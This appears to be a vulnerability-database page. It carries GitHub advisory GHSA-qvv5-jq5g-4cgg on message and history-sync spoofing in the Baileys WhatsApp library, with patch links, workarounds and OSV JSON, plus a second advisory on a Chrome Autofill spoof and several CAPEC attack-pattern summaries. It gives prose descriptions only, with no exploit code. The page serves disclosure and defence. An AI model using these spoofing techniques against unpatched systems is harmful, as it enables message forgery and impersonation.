Any baileys session under the latest version (< 7.0.0-rc12, and < 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake messages.upsert event with a fake message key and payload. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or "on-demand" sync.
Patches
https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.
Workarounds
There are no real workarounds other than dropping messages.upsertevents that contain a requestId field, turning off automatic history sync (shouldSyncHistoryMessage: () => false) in socket config. There are no workarounds for the app state sync jamming.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "baileys"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@whiskeysockets/baileys"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "baileys"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-rc.1"
},
{
"fixed": "7.0.0-rc12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@whiskeysockets/baileys"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-rc.1"
},
{
"fixed": "7.0.0-rc12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48063"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-10T19:33:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\nAny baileys session under the latest version (\u003c 7.0.0-rc12, and \u003c 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake `messages.upsert` event with a **fake message key and payload**. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or \"on-demand\" sync.\n\n### Patches\nhttps://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.\n\n\n### Workarounds\nThere are no real workarounds other than dropping `messages.upsert `events that contain a `requestId` field, turning off automatic history sync (`shouldSyncHistoryMessage: () =\u003e false`) in socket config. There are no workarounds for the app state sync jamming.",
"id": "GHSA-qvv5-jq5g-4cgg",
"modified": "2026-06-10T19:33:20Z",
"published": "2026-06-10T19:33:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WhiskeySockets/Baileys/security/advisories/GHSA-qvv5-jq5g-4cgg"
},
{
"type": "WEB",
"url": "https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35"
},
{
"type": "PACKAGE",
"url": "https://github.com/WhiskeySockets/Baileys"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload"
}
GHSA-QW7G-RPH5-VW92
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48Inappropriate implementation in Autofill in Google Chrome prior to 90.0.4430.72 allowed a remote attacker to spoof security UI via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2021-21216"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-26T17:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Autofill in Google Chrome prior to 90.0.4430.72 allowed a remote attacker to spoof security UI via a crafted HTML page.",
"id": "GHSA-qw7g-rph5-vw92",
"modified": "2022-05-24T17:48:54Z",
"published": "2022-05-24T17:48:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21216"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_14.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1173297"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EAJ42L4JFPBJATCZ7MOZQTUDGV4OEHHG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3GZ42MYPGD35V652ZPVPYYS7A7LVXVY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VUZBGKGVZADNA3I24NVG7HAYYUTOSN5A"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202104-08"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4906"
}
],
"schema_version": "1.4.0",
"severity": []
}
No mitigation information available for this CWE.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-476: Signature Spoofing by Misrepresentation
An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-667: Bluetooth Impersonation AttackS (BIAS)
An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.